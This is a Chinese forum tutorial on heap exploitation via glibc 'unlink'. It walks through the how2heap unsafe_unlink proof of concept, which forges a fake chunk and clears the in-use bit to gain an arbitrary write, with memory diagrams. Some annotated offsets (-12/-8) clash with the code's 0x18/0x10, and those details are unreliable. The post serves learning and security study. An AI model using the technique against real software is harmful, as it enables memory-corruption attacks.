堆利用之unlink

论坛 期权论坛 编程之家     
选择匿名的用户   2021-6-2 16:27   2966   0

一 small bin,large bin等的内存结构
未分配的chunk
| pre chunk size | size |F|C|P|
| fd | bk |
presize: 前一个块的大小(如果前一个块是空闲的)
size:当前块的大小
F标志位:目前还没有用
C标志位:如果当前块已被分配,置1;否则,置0
P标志位:如果前一个块已被分配,置1,;否则,置0


二、unlink
久经辛苦终于看明白了。还是很精妙的。
unlink是free非fastbin时,会先检查该chunk前一个chunk是否为空闲,如果是空,则合并。
利用思路是溢出修改被free的chunk头部的pre chunk size和size中的p位为0,导致合并空闲chunk。并在相邻处伪造一个chunk头部。最终得到一个任意地址写。


实例说明
以how2heap的unsafe_unlink为例子说明,程序的注释已经去掉


uint64_t *g_fake_chunk; //a
int main()
{
int malloc_size = 0x80; //we want to be big enough not to use fastbins
int header_size = 2;
g_fake_chunk = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1 b
g_fake_chunk[2] = (uint64_t) &g_fake_chunk-(sizeof(uint64_t)*3); //c
g_fake_chunk[3] = (uint64_t) &g_fake_chunk-(sizeof(uint64_t)*2); //d
g_fake_chunk[1] = sizeof(size_t); //e
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
chunk1_hdr[0] = malloc_size; //f
chunk1_hdr[1] &= ~1; //g
free(chunk1_ptr); //h
char victim_string[8];
strcpy(victim_string,"Hello!~");
g_fake_chunk[3] = (uint64_t) victim_string; //i
fprintf(stderr, "g_fake_chunk is now pointing where we want, we use it to overwrite our victim string.\n");
fprintf(stderr, "Original value: %s\n",victim_string);
g_fake_chunk[0] = 0x4141414142424242LL;
fprintf(stderr, "New Value: %s\n",victim_string);
}


a unlink时检查(F -> bk == p && B -> fd == p),需要一个保存着堆地址的空间,一般为一个地址可知的变量
b 此时,内存分布如下:
g_fake_chunk-------> chunk0 | 0 | size(0x90) | (addr)low
| 0(fd) | 0(bk) |
| 内容0x80byte |
chunk1 | 0 | size |
| 0(fd) | 0(bk) |
| 内容0x80byte | (addr)high
chunk0和chunk1是相邻的。此外,g_fake_chunk指向chunk0


c d e三步骤后, chunk0的内存分布为
chunk0 | 0 |
| 0x90 |
chunk0内容 | 0 | |---------------> g_fake_chunk-0x18| |
| 8 | | |---> g_fake_chunk-0x10| |
| g_fake_chunk-0x18 |------| | g_fake_chunk-0x8 | |
| g_fake_chunk-0x10 |-----------------| g_fake_chunk | |
此步作用是为了能通过F -> bk == p && B -> fd == p检查,具体在free中描述

f g步骤后,chunk1的头部被修改为:
chunk1 | 0x80 | size |p=0 |
| 0(fd) | 0(bk) |
| 0*0x80 |
这个修改表示,前一块chunk没有被使用,长度为0x80


h 重点来了,free非fastbin时,检查前后chunk是否为空闲,如果是,会合并相邻chunk。并做unlink。
为了清楚,再细画一次此时的内存状态。


chunk0 | 0 |
| 0x90 |
chunk0内容fake_chunk0 | 0 | |------------> g_fake_chunk-0x18 | |
| 8 | | |---> g_fake_chunk-0x10 | |
| g_fake_chunk-0x18 |-----| | g_fake_chunk-0x8 | |
| g_fake_chunk-0x10 |---------------| g_fake_chunk | |
| 0x60字节 | 0x60字节是因为去掉了伪造的chunk头部0x20剩下的
chunk1 | 0x80 |
| size |p=0 |
| 0(fd) |
| 0(bk) |
| 0*0x80 |

由于f g步骤后,chunk1的p位被窜改为0,认为前一块为空,大小为0x80。
计算到前一块的头为chunk1-0x80,即chunk0内容位置,此块空间是漏洞利用时可控的,且c d e三步骤时在在这里伪造了一个chunk头。这里称呼它为fake_chunk0
此时执行unlink
unlink(p) //p即g_fake_chunk0
F = p -> fd; //F = g_fake_chunk - 12
B = p -> bk; //B = g_fake_chunk - 8
if (F -> bk == p && B -> fd == p){ //
F -> bk = B; // g_fake_chunk[0] = B = g_fake_chunk - 8
B -> fd = F; // g_fake_chunk[0] = F = g_fake_chunk -12
}
此时,内存结构为
g_fake_chunk-0x18 | |<---|
g_fake_chunk-0x10 | | |
g_fake_chunk-0x8 | | |
g_fake_chunk |g_fake_chunk-12|-----|

i 因为这个地址并不是我们想要的任意地址,要实现任意地址写,需要把g_fake_chunk覆盖为任意地址






分享到 :
0 人收藏
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

积分:3875789
帖子:775174
精华:0
期权论坛 期权论坛
发布
内容

下载期权论坛手机APP